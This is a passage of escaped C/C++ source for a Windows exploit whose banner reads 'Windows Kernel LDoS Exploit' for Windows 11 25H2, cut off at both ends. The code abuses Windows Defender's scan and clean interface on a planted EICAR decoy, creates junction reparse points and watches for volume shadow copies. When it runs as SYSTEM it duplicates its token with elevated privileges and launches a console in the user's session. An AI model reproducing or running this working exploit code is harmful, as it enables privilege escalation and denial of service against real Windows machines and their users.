RtlNtStatusToDosError(stat);\\n return retval;\\n }\\n void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));\\n if (!emptybuff) {\\n printf(\\”[!] Failed to allocate memory.\\\\n\\”);\\n retval = ERROR_NOT_ENOUGH_MEMORY;\\n goto cleanup;\\n }\\n ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));\\n vsinitial = RetrieveCurrentVSSList(hobjdir, \\u0026criterr, \\u0026vscnum, \\u0026retval);\\n if (criterr) {\\n printf(\\”[!] Unexpected error while listing current volume shadow copy volumes.\\\\n\\”);\\n goto cleanup;\\n }\\n if (!vsinitial) {\\n printf(\\”[*] No volume shadow copies were found.\\\\n\\”);\\n } else {\\n printf(\\”[*] Found %d volume shadow copies.\\\\n\\”, vscnum);\\n }\\n stat = STATUS_SUCCESS;\\n scanagain:\\n do {\\n if (objdirinfo)\\n free(objdirinfo);\\n objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);\\n if (!objdirinfo) {\\n printf(\\”[!] Failed to allocate required buffer to query object manager directory.\\\\n\\”);\\n retval = ERROR_NOT_ENOUGH_MEMORY;\\n goto cleanup;\\n }\\n ZeroMemory(objdirinfo, reqsz);\\n scanctx = 0;\\n stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, \\u0026scanctx, \\u0026retsz);\\n if (stat == STATUS_SUCCESS)\\n break;\\n else if (stat != STATUS_MORE_ENTRIES) {\\n printf(\\”[!] NtQueryDirectoryObject failed with 0x%0.8X\\\\n\\”, stat);\\n retval = RtlNtStatusToDosError(stat);\\n goto cleanup;\\n }\\n reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;\\n } while (1);\\n for (ULONG i = 0; i \\u003c ULONG_MAX; i++) {\\n if (memcmp(\\u0026objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) {\\n break;\\n }\\n if (_wcsicmp(L\\”Device\\”, objdirinfo[i].TypeName.Buffer) == 0) {\\n wchar_t cmpstr[] = { L\\”HarddiskVolumeShadowCopy\\” };\\n if (objdirinfo[i].Name.Length \\u003e= sizeof(cmpstr)) {\\n if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) – sizeof(wchar_t)) == 0) {\\n LLShadowVolumeNames* current = vsinitial;\\n bool found = false;\\n while (current) {\\n if (_wcsicmp(current-\\u003ename, objdirinfo[i].Name.Buffer) == 0) {\\n found = true;\\n break;\\n }\\n current = current-\\u003enext;\\n }\\n if (found)\\n continue;\\n else {\\n srchfound = true;\\n wcscat(newvsspath, objdirinfo[i].Name.Buffer);\\n break;\\n }\\n }\\n }\\n }\\n }\\n if (!srchfound) {\\n restartscan = true;\\n goto scanagain;\\n }\\n if (objdirinfo) {\\n free(objdirinfo);\\n objdirinfo = NULL;\\n }\\n NtClose(hobjdir);\\n hobjdir = NULL;\\n printf(\\”[+] New volume shadow copy detected: %ws\\\\n\\”, newvsspath);\\n wcscpy(vsswinpath, newvsspath);\\n wcscat(vsswinpath, L\\”\\\\\\\\Windows\\”);\\n RtlInitUnicodeString(\\u0026_vsswinpath, vsswinpath);\\n InitializeObjectAttributes(\\u0026objattr2, \\u0026_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n retry:\\n stat = NtCreateFile(\\u0026hlk, FILE_READ_ATTRIBUTES, \\u0026objattr2, \\u0026iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);\\n if (stat == STATUS_NO_SUCH_DEVICE)\\n goto retry;\\n if (stat) {\\n printf(\\”[!] Failed to open volume shadow copy, error: 0x%0.8X\\\\n\\”, stat);\\n retval = RtlNtStatusToDosError(stat);\\n goto cleanup;\\n }\\n printf(\\”[+] Successfully accessed volume shadow copy.\\\\n\\”);\\n CloseHandle(hlk);\\n if (fullvsspath)\\n wcscpy((wchar_t*)fullvsspath, newvsspath);\\n cleanup:\\n if (hobjdir)\\n NtClose(hobjdir);\\n if (emptybuff)\\n free(emptybuff);\\n if (vsinitial)\\n DestroyVSSNamesList(vsinitial);\\n \\n return retval;\\n }\\n DWORD MpCleanCallbackFunction() {\\n printf(\\”[*] MpCleanCallbackFunction called.\\\\n\\”);\\n return 0;\\n }\\n bool GetWDInstallDir(wchar_t* dirname) {\\n HKEY hkey = NULL;\\n LSTATUS lstat = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L\\”SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows Defender\\”, NULL, KEY_QUERY_VALUE, \\u0026hkey);\\n if (lstat) {\\n printf(\\”[!] Failed to open Windows Defender registry key, error: %d\\\\n\\”, lstat);\\n return false;\\n }\\n DWORD keytype = REG_SZ;\\n DWORD datasz = MAX_PATH * sizeof(wchar_t);\\n lstat = RegQueryValueEx(hkey, L\\”InstallLocation\\”, NULL, \\u0026keytype, (LPBYTE)dirname, \\u0026datasz);\\n if (lstat) {\\n printf(\\”[!] Failed to query Windows Defender install location, error: %d\\\\n\\”, lstat);\\n return false;\\n }\\n RegCloseKey(hkey);\\n return true;\\n }\\n bool GetWERDir(wchar_t* dirname) {\\n wchar_t windir[MAX_PATH] = { 0 };\\n GetWindowsDirectory(windir, MAX_PATH);\\n wcscpy(dirname, windir);\\n wcscat(dirname, L\\”\\\\\\\\System32\\”);\\n return true;\\n }\\n DWORD WINAPI WDStartScan(void*) {\\n wchar_t dllpath[MAX_PATH] = { 0 };\\n if (!GetWDInstallDir(dllpath)) {\\n ExitProcess(1);\\n }\\n wcscat(dllpath, L\\”MpClient.dll\\”);\\n HMODULE hm = LoadLibrary(dllpath);\\n if (!hm) {\\n printf(\\”[!] Failed to load MpClient.dll, error: %d\\\\n\\”, GetLastError());\\n ExitProcess(1);\\n }\\n HRESULT(WINAPI* _MpUpdateStart)(MPHANDLE, DWORD, PMPCALLBACK_INFO, PMPHANDLE) = \\n (HRESULT(WINAPI*)(MPHANDLE, DWORD, PMPCALLBACK_INFO, PMPHANDLE))\\n GetProcAddress(hm, \\”MpUpdateStart\\”);\\n HRESULT(WINAPI* _MpManagerOpen)(DWORD, PMPHANDLE) = \\n (HRESULT(WINAPI*)(DWORD, PMPHANDLE))\\n GetProcAddress(hm, \\”MpManagerOpen\\”);\\n HRESULT(WINAPI* _MpScanStart)(MPHANDLE, MPSCAN_TYPE, DWORD, PMPSCAN_RESOURCES, PMPCALLBACK_INFO, PMPHANDLE) = \\n (HRESULT(WINAPI*)(MPHANDLE, MPSCAN_TYPE, DWORD, PMPSCAN_RESOURCES, PMPCALLBACK_INFO, PMPHANDLE))\\n GetProcAddress(hm, \\”MpScanStart\\”);\\n HRESULT(WINAPI* _MpScanResult)(MPHANDLE, void*) = \\n (HRESULT(WINAPI*)(MPHANDLE, void*))\\n GetProcAddress(hm, \\”MpScanResult\\”);\\n HRESULT(WINAPI* _MpThreatOpen)(MPHANDLE, MPTHREAT_SOURCE, MPTHREAT_TYPE, PMPHANDLE) = \\n (HRESULT(WINAPI*)(MPHANDLE, MPTHREAT_SOURCE, MPTHREAT_TYPE, PMPHANDLE))\\n GetProcAddress(hm, \\”MpThreatOpen\\”);\\n HRESULT(WINAPI* _MpThreatEnumerate)(MPHANDLE, PMPTHREAT_INFO*) = \\n (HRESULT(WINAPI*)(MPHANDLE, PMPTHREAT_INFO*))\\n GetProcAddress(hm, \\”MpThreatEnumerate\\”);\\n HRESULT(WINAPI* _MpCleanOpen)(void*, void*, void***) = \\n (HRESULT(WINAPI*)(void*, void*, void***))\\n GetProcAddress(hm, \\”MpCleanOpen\\”);\\n HRESULT(WINAPI* _MpCleanStart)(void*, unsigned int, void*) = \\n (HRESULT(WINAPI*)(void*, unsigned int, void*))\\n GetProcAddress(hm, \\”MpCleanStart\\”);\\n HRESULT(WINAPI* _MpHandleClose)(MPHANDLE) = \\n (HRESULT(WINAPI*)(MPHANDLE))\\n GetProcAddress(hm, \\”MpHandleClose\\”);\\n if (!_MpManagerOpen || !_MpScanStart || !_MpScanResult || !_MpThreatOpen || \\n !_MpThreatEnumerate || !_MpCleanOpen || !_MpCleanStart || !_MpHandleClose) {\\n printf(\\”[!] Failed to initialize DLL imports.\\\\n\\”);\\n ExitProcess(1);\\n }\\n MPHANDLE hbinding = NULL;\\n HRESULT hres = _MpManagerOpen(NULL, \\u0026hbinding);\\n if (hres) {\\n printf(\\”[!] Failed to open Windows Defender RPC interface, error: 0x%0.8X\\\\n\\”, hres);\\n ExitProcess(1);\\n }\\n MPRESOURCE_INFO scaninfo = { 0 };\\n scaninfo.Scheme = (wchar_t*)L\\”file\\”;\\n scaninfo.Path = zippath;\\n MPSCAN_RESOURCES scanrsrc = { 0 };\\n scanrsrc.dwResourceCount = 1;\\n scanrsrc.pResourceList = \\u0026scaninfo;\\n MPHANDLE scanctx = NULL;\\n hres = _MpScanStart(hbinding, MPSCAN_TYPE_RESOURCE, 0x60004000, \\u0026scanrsrc, NULL, \\u0026scanctx);\\n if (hres) {\\n printf(\\”[!] Failed to start Windows Defender scan, error: 0x%0.8X\\\\n\\”, hres);\\n ExitProcess(1);\\n }\\n DWORD sz = 0x90;\\n void* scanres = malloc(0x90);\\n ZeroMemory(scanres, 0x90);\\n hres = _MpScanResult(scanctx, scanres);\\n if (hres) {\\n printf(\\”[!] Failed to fetch scan results, error: 0x%0.8X\\\\n\\”, hres);\\n ExitProcess(1);\\n }\\n MPHANDLE threatctx = NULL;\\n hres = _MpThreatOpen(scanctx, MPTHREAT_SOURCE_SCAN, MPTHREAT_TYPE_KNOWNBAD, \\u0026threatctx);\\n if (hres) {\\n printf(\\”[!] Failed to open threats, error: 0x%0.8X\\\\n\\”, hres);\\n ExitProcess(1);\\n }\\n MPTHREAT_INFO* tinfo = NULL;\\n hres = _MpThreatEnumerate(threatctx, \\u0026tinfo);\\n if (hres == 0x1) {\\n printf(\\”[*] No threats found.\\\\n\\”);\\n ExitProcess(0);\\n }\\n if (hres) {\\n printf(\\”[!] Failed to enumerate threats, error: 0x%0.8X\\\\n\\”, hres);\\n ExitProcess(1);\\n }\\n if (tinfo-\\u003eThreatStatus != 0x1) {\\n printf(\\”[!] Unexpected reply from MpThreatEnumerate.\\\\n\\”);\\n ExitProcess(1);\\n }\\n void** ret = NULL;\\n hres = _MpCleanOpen(scanctx, NULL, \\u0026ret);\\n if (hres) {\\n printf(\\”[!] MpCleanOpen failed, error: 0x%0.8X\\\\n\\”, hres);\\n ExitProcess(1);\\n }\\n void* callbackaddr[2] = { (void*)MpCleanCallbackFunction, (void*)MpCleanCallbackFunction };\\n hres = _MpCleanStart(ret, NULL, callbackaddr);\\n if (hres) {\\n printf(\\”[!] MpCleanStart failed, error: 0x%0.8X\\\\n\\”, hres);\\n ExitProcess(1);\\n }\\n _MpHandleClose(scanctx);\\n _MpHandleClose(threatctx);\\n _MpHandleClose(hbinding);\\n \\n return ERROR_SUCCESS;\\n }\\n char* eicar_data = NULL;\\n DWORD eicar_sz = 0;\\n \\n HANDLE WriteEicar(wchar_t* workdir, wchar_t* isomnt) {\\n wchar_t eicarpath[MAX_PATH] = { 0 };\\n wsprintf(eicarpath, L\\”%s\\\\\\\\wermgr.exe\\”, workdir);\\n \\n HANDLE hfile = NULL;\\n UNICODE_STRING _eicarpath = { 0 };\\n RtlInitUnicodeString(\\u0026_eicarpath, eicarpath);\\n OBJECT_ATTRIBUTES eicarpathobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026eicarpathobjattr, \\u0026_eicarpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n IO_STATUS_BLOCK iostat = { 0 };\\n \\n NTSTATUS stat = NtCreateFile(\\u0026hfile, GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE, \\n \\u0026eicarpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL, \\n FILE_SHARE_READ, FILE_OVERWRITE_IF, NULL, NULL, NULL);\\n if (stat) {\\n printf(\\”[!] Failed to create EICAR test file: %ws, error: 0x%0.8X\\\\n\\”, eicarpath, stat);\\n return NULL;\\n }\\n \\n if (eicar_data \\u0026\\u0026 eicar_sz) {\\n DWORD writtenbytes = 0;\\n OVERLAPPED ovp = { 0 };\\n ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n if (WriteFile(hfile, eicar_data, eicar_sz, \\u0026writtenbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n printf(\\”[!] Failed to write EICAR data, error: %d\\\\n\\”, GetLastError());\\n return NULL;\\n }\\n return hfile;\\n }\\n HANDLE hsrc = NULL;\\n wchar_t eicarsrcpath[MAX_PATH] = { 0 };\\n wsprintf(eicarsrcpath, L\\”%s\\\\\\\\wermgr.exe\\”, isomnt);\\n UNICODE_STRING _eicarsrcpath = { 0 };\\n RtlInitUnicodeString(\\u0026_eicarsrcpath, eicarsrcpath);\\n OBJECT_ATTRIBUTES eicarsrcpathobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026eicarsrcpathobjattr, \\u0026_eicarsrcpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n iostat = { 0 };\\n \\n stat = NtCreateFile(\\u0026hsrc, GENERIC_READ, \\u0026eicarsrcpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL, \\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, NULL, NULL, NULL);\\n if (stat) {\\n printf(\\”[!] Failed to open EICAR test file: %ws, error: 0x%0.8X\\\\n\\”, eicarpath, stat);\\n return NULL;\\n }\\n \\n LARGE_INTEGER li = { 0 };\\n GetFileSizeEx(hsrc, \\u0026li);\\n eicar_sz = li.QuadPart;\\n eicar_data = (char*)malloc(li.QuadPart);\\n \\n DWORD retbytes = 0;\\n OVERLAPPED ovp2 = { 0 };\\n ovp2.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n \\n if (ReadFile(hsrc, eicar_data, li.QuadPart, \\u0026retbytes, \\u0026ovp2) == ERROR_IO_PENDING) {\\n printf(\\”[!] Failed to read EICAR data, error: %d\\\\n\\”, GetLastError());\\n return NULL;\\n }\\n WaitForSingleObject(ovp2.hEvent, INFINITE);\\n CloseHandle(ovp2.hEvent);\\n \\n DWORD writtenbytes = 0;\\n OVERLAPPED ovp = { 0 };\\n ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n \\n if (WriteFile(hfile, eicar_data, li.QuadPart, \\u0026writtenbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n printf(\\”[!] Failed to write EICAR data, error: %d\\\\n\\”, GetLastError());\\n return NULL;\\n }\\n WaitForSingleObject(ovp.hEvent, INFINITE);\\n ResetEvent(ovp.hEvent);\\n void* eicar2 = malloc(0x1000);\\n UNICODE_STRING adsname = { 0 };\\n RtlInitUnicodeString(\\u0026adsname, L\\”:WDFOO\\”);\\n OBJECT_ATTRIBUTES objattr2 = { 0 };\\n InitializeObjectAttributes(\\u0026objattr2, \\u0026adsname, OBJ_CASE_INSENSITIVE, hfile, NULL);\\n \\n HANDLE hstream = NULL;\\n stat = NtCreateFile(\\u0026hstream, GENERIC_WRITE | SYNCHRONIZE, \\u0026objattr2, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL, \\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, NULL, NULL, NULL);\\n if (stat) {\\n printf(\\”[!] Failed to create EICAR stream file: %ws%ws, error: 0x%0.8X\\\\n\\”, eicarpath, adsname.Buffer, stat);\\n return NULL;\\n }\\n \\n if (WriteFile(hstream, eicar2, 0x1000, \\u0026writtenbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n printf(\\”[!] Failed to write ADS data, error: %d\\\\n\\”, GetLastError());\\n return NULL;\\n }\\n \\n free(eicar2);\\n CloseHandle(hstream);\\n WaitForSingleObject(ovp.hEvent, INFINITE);\\n CloseHandle(ovp.hEvent);\\n CloseHandle(hsrc);\\n \\n return hfile;\\n }\\n bool MoveToTempDir(HANDLE hobj, wchar_t* targetpath = NULL) {\\n GUID uid = { 0 };\\n RPC_WSTR wuid = { 0 };\\n UuidCreate(\\u0026uid);\\n UuidToStringW(\\u0026uid, \\u0026wuid);\\n wchar_t* wuid2 = (wchar_t*)wuid;\\n \\n wchar_t target[MAX_PATH] = { 0 };\\n if (targetpath) {\\n wcscpy(target, targetpath);\\n } else {\\n ExpandEnvironmentStrings(L\\”\\\\\\\\??\\\\\\\\%TEMP%\\\\\\\\RP_\\”, target, MAX_PATH);\\n wcscat(target, wuid2);\\n }\\n \\n IO_STATUS_BLOCK iostat = { 0 };\\n PFILE_RENAME_INFORMATION fri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + sizeof(target));\\n ZeroMemory(fri, sizeof(FILE_RENAME_INFORMATION) + sizeof(target));\\n memmove(\\u0026fri-\\u003eFileName[0], target, wcslen(target) * sizeof(wchar_t));\\n fri-\\u003eFileNameLength = wcslen(target) * sizeof(wchar_t);\\n fri-\\u003eFlags = 0x00000001 | 0x00000040;\\n \\n do {\\n NTSTATUS stat = _NtSetInformationFile(hobj, \\u0026iostat, fri, sizeof(FILE_RENAME_INFORMATION) + sizeof(target), \\n (FILE_INFORMATION_CLASS)custom_defs::FileRenameInformationEx);\\n if (stat == STATUS_SUCCESS)\\n return true;\\n if (stat == STATUS_SHARING_VIOLATION)\\n continue;\\n if (stat) {\\n printf(\\”[!] Failed to move directory, error: 0x%0.8X\\\\n\\”, stat);\\n return false;\\n }\\n } while (1);\\n \\n return true;\\n }\\n bool CreateJunction(HANDLE hdir, wchar_t* target) {\\n wchar_t rptarget[MAX_PATH] = { 0 };\\n wchar_t printname[1] = { L’\\\\0′ };\\n wcscpy(rptarget, target);\\n size_t targetsz = wcslen(rptarget) * 2;\\n size_t printnamesz = 1 * 2;\\n size_t pathbuffersz = targetsz + printnamesz + 12;\\n size_t totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;\\n REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);\\n rdb-\\u003eReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\\n rdb-\\u003eReparseDataLength = static_cast\\u003cUSHORT\\u003e(pathbuffersz);\\n rdb-\\u003eReserved = 0;\\n rdb-\\u003eMountPointReparseBuffer.SubstituteNameOffset = 0;\\n rdb-\\u003eMountPointReparseBuffer.SubstituteNameLength = static_cast\\u003cUSHORT\\u003e(targetsz);\\n memcpy(rdb-\\u003eMountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);\\n rdb-\\u003eMountPointReparseBuffer.PrintNameOffset = static_cast\\u003cUSHORT\\u003e(targetsz + 2);\\n rdb-\\u003eMountPointReparseBuffer.PrintNameLength = static_cast\\u003cUSHORT\\u003e(printnamesz);\\n memcpy(rdb-\\u003eMountPointReparseBuffer.PathBuffer + targetsz \/ 2 + 1, printname, printnamesz);\\n \\n OVERLAPPED ov = { 0 };\\n ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n if (!ov.hEvent) {\\n return false;\\n }\\n \\n DeviceIoControl(hdir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, 0, NULL, \\u0026ov);\\n HeapFree(GetProcessHeap(), NULL, rdb);\\n rdb = NULL;\\n \\n if (GetLastError() == ERROR_IO_PENDING) {\\n DWORD retsz = 0;\\n GetOverlappedResult(hdir, \\u0026ov, \\u0026retsz, TRUE);\\n }\\n \\n if (GetLastError() != ERROR_SUCCESS) {\\n printf(\\”[!] Failed to create reparse point, error: %d\\\\n\\”, GetLastError());\\n return false;\\n }\\n \\n return true;\\n }\\n bool MountISO(HANDLE* hiso) {\\n GUID uid = { 0 };\\n RPC_WSTR wuid = { 0 };\\n UuidCreate(\\u0026uid);\\n UuidToStringW(\\u0026uid, \\u0026wuid);\\n wchar_t* wuid2 = (wchar_t*)wuid;\\n \\n wchar_t target[MAX_PATH] = { 0 };\\n ExpandEnvironmentStrings(L\\”%TEMP%\\\\\\\\RP_\\”, target, MAX_PATH);\\n wcscat(target, wuid2);\\n \\n HANDLE hf = CreateFile(target, GENERIC_READ | GENERIC_WRITE, \\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \\n NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\\n if (!hf || hf == INVALID_HANDLE_VALUE) {\\n printf(\\”[!] Failed to create ISO file, error: %d\\\\n\\”, GetLastError());\\n return false;\\n }\\n \\n DWORD dwbytes = 0;\\n if (!WriteFile(hf, rawData, sizeof(rawData), \\u0026dwbytes, NULL)) {\\n printf(\\”[!] Failed to write data to .iso file, error: %d\\\\n\\”, GetLastError());\\n return false;\\n }\\n CloseHandle(hf);\\n \\n static const GUID VIRTUAL_STORAGE_TYPE_VENDOR_MS = { \\n 0xEC984AEC, 0xA0F9, 0x47e9, 0x90, 0x1F, 0x71, 0x41, 0x5A, 0x66, 0x34, 0x5B \\n };\\n \\n VIRTUAL_STORAGE_TYPE vst = { VIRTUAL_STORAGE_TYPE_DEVICE_ISO, VIRTUAL_STORAGE_TYPE_VENDOR_MS };\\n HANDLE hvirtdisk = NULL;\\n \\n DWORD retval = OpenVirtualDisk(\\u0026vst, target, \\n VIRTUAL_DISK_ACCESS_GET_INFO | VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_DETACH, \\n OPEN_VIRTUAL_DISK_FLAG_NONE, NULL, \\u0026hvirtdisk);\\n if (retval) {\\n printf(\\”[!] Failed to open virtual disk, error: %d\\\\n\\”, GetLastError());\\n return false;\\n }\\n \\n retval = AttachVirtualDisk(hvirtdisk, NULL, \\n ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER, \\n NULL, NULL, NULL);\\n if (retval) {\\n printf(\\”[!] Failed to attach virtual disk, error: %d\\\\n\\”, GetLastError());\\n return false;\\n }\\n \\n if (hiso)\\n *hiso = hvirtdisk;\\n \\n return true;\\n }\\n \\n BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {\\n TOKEN_PRIVILEGES tp;\\n LUID luid;\\n \\n if (!LookupPrivilegeValue(NULL, lpszPrivilege, \\u0026luid)) {\\n printf(\\”[!] LookupPrivilegeValue error: %u\\\\n\\”, GetLastError());\\n return FALSE;\\n }\\n \\n tp.PrivilegeCount = 1;\\n tp.Privileges[0].Luid = luid;\\n if (bEnablePrivilege)\\n tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\\n else\\n tp.Privileges[0].Attributes = 0;\\n \\n if (!AdjustTokenPrivileges(hToken, FALSE, \\u0026tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {\\n printf(\\”[!] AdjustTokenPrivileges error: %u\\\\n\\”, GetLastError());\\n return FALSE;\\n }\\n \\n if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {\\n printf(\\”[!] The token does not have the specified privilege.\\\\n\\”);\\n return FALSE;\\n }\\n \\n return TRUE;\\n }\\n \\n bool IsRunningAsLocalSystem() {\\n HANDLE htoken = NULL;\\n if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, \\u0026htoken)) {\\n printf(\\”[!] OpenProcessToken failed, error: %d\\\\n\\”, GetLastError());\\n return false;\\n }\\n \\n TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));\\n DWORD retsz = 0;\\n bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), \\u0026retsz);\\n CloseHandle(htoken);\\n \\n if (!res)\\n return false;\\n \\n return IsWellKnownSid(tokenuser-\\u003eUser.Sid, WinLocalSystemSid);\\n }\\n \\n void LaunchConsoleInSessionId(DWORD sessionid) {\\n HANDLE htoken = NULL;\\n if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, \\u0026htoken))\\n return;\\n \\n SetPrivilege(htoken, SE_TCB_NAME, TRUE);\\n SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);\\n SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);\\n SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);\\n \\n HANDLE hnewtoken = NULL;\\n bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, \\u0026hnewtoken);\\n CloseHandle(htoken);\\n \\n if (!res)\\n return;\\n \\n res = SetTokenInformation(hnewtoken, TokenSessionId, \\u0026sessionid, sizeof(DWORD));\\n if (!res) {\\n CloseHandle(hnewtoken);\\n return;\\n }\\n \\n STARTUPINFO si = { 0 };\\n si.cb = sizeof(si);\\n PROCESS_INFORMATION pi = { 0 };\\n \\n CreateProcessAsUser(hnewtoken, L\\”C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\conhost.exe\\”, NULL, \\n NULL, NULL, FALSE, NULL, NULL, NULL, \\u0026si, \\u0026pi);\\n \\n CloseHandle(hnewtoken);\\n \\n if (pi.hProcess)\\n CloseHandle(pi.hProcess);\\n if (pi.hThread)\\n CloseHandle(pi.hThread);\\n \\n return;\\n }\\n \\n DWORD WINAPI PoseidonGeneratorThread(void*) {\\n SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);\\n WaitForSingleObject(g_poseidonevent, INFINITE);\\n \\n do {\\n BCryptGenRandom(NULL, (PUCHAR)g_poseidonbuf, sizeof(g_poseidonbuf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);\\n } while (!g_poseidonexit);\\n \\n return ERROR_SUCCESS;\\n }\\n \\n DWORD WINAPI PoseidonThread(void*) {\\n GUID uid = { 0 };\\n RPC_WSTR wuid = { 0 };\\n UuidCreate(\\u0026uid);\\n UuidToStringW(\\u0026uid, \\u0026wuid);\\n wchar_t* wuid2 = (wchar_t*)wuid;\\n \\n wchar_t target[MAX_PATH] = { 0 };\\n ExpandEnvironmentStrings(L\\”%TEMP%\\\\\\\\RP_\\”, target, MAX_PATH);\\n wcscat(target, wuid2);\\n \\n HANDLE hfile = CreateFile(target, GENERIC_ALL, NULL, NULL, CREATE_NEW, \\n FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);\\n if (!hfile || hfile == INVALID_HANDLE_VALUE)\\n return GetLastError();\\n \\n WaitForSingleObject(g_poseidonevent, INFINITE);\\n \\n try {\\n do {\\n SetFilePointer(hfile, 0, NULL, FILE_BEGIN);\\n DWORD ret = 0;\\n WriteFile(hfile, g_poseidonbuf, sizeof(g_poseidonbuf), \\u0026ret, NULL);\\n } while (!g_poseidonexit);\\n } catch (int e) {\\n }\\n \\n CloseHandle(hfile);\\n return ERROR_SUCCESS;\\n }\\n int main() {\\n printf(\\”============================================================\\\\n\\”);\\n printf(\\” inouva – Windows Kernel LDoS Exploit\\\\n\\”);\\n printf(\\” Windows 11 25H2 (Build 26200) and later\\\\n\\”);\\n printf(\\”============================================================\\\\n\\\\n\\”);\\n \\n ntdllhm = GetModuleHandle(L\\”ntdll.dll\\”);\\n if (!ntdllhm) {\\n printf(\\”[!] Failed to get ntdll.dll handle.\\\\n\\”);\\n return 1;\\n }\\n \\n _NtSetInformationFile = (NTSTATUS(WINAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS))\\n GetProcAddress(ntdllhm, \\”NtSetInformationFile\\”);\\n _NtDeleteFile = (NTSTATUS(WINAPI*)(POBJECT_ATTRIBUTES))\\n GetProcAddress(ntdllhm, \\”NtDeleteFile\\”);\\n _NtOpenDirectoryObject = (NTSTATUS(WINAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES))\\n GetProcAddress(ntdllhm, \\”NtOpenDirectoryObject\\”);\\n _NtQueryDirectoryObject = (NTSTATUS(WINAPI*)(HANDLE, PVOID, ULONG, BOOLEAN, BOOLEAN, PULONG, PULONG))\\n GetProcAddress(ntdllhm, \\”NtQueryDirectoryObject\\”);\\n _NtQueryInformationFile = (NTSTATUS(WINAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS))\\n GetProcAddress(ntdllhm, \\”NtQueryInformationFile\\”);\\n \\n if (!_NtSetInformationFile || !_NtDeleteFile || !_NtOpenDirectoryObject || \\n !_NtQueryDirectoryObject || !_NtQueryInformationFile) {\\n printf(\\”[!] Failed to import NT API functions.\\\\n\\”);\\n return 1;\\n }\\n g_poseidonevent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n if (!g_poseidonevent) {\\n printf(\\”[!] Failed to create event.\\\\n\\”);\\n return 1;\\n }\\n if (IsRunningAsLocalSystem()) {\\n printf(\\”[*] Running as Local System.\\\\n\\”);\\n HANDLE hclient = CreateFile(L\\”\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\RoguePlanet\\”, GENERIC_READ | GENERIC_WRITE,\\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n NULL, OPEN_EXISTING, NULL, NULL);\\n if (!hclient || hclient == INVALID_HANDLE_VALUE)\\n return 1;\\n \\n DWORD sesid = 0;\\n bool sh = GetNamedPipeServerSessionId(hclient, \\u0026sesid);\\n CloseHandle(hclient);\\n \\n if (sh) {\\n LaunchConsoleInSessionId(sesid);\\n }\\n return 0;\\n }\\n SYSTEM_INFO sysinfo 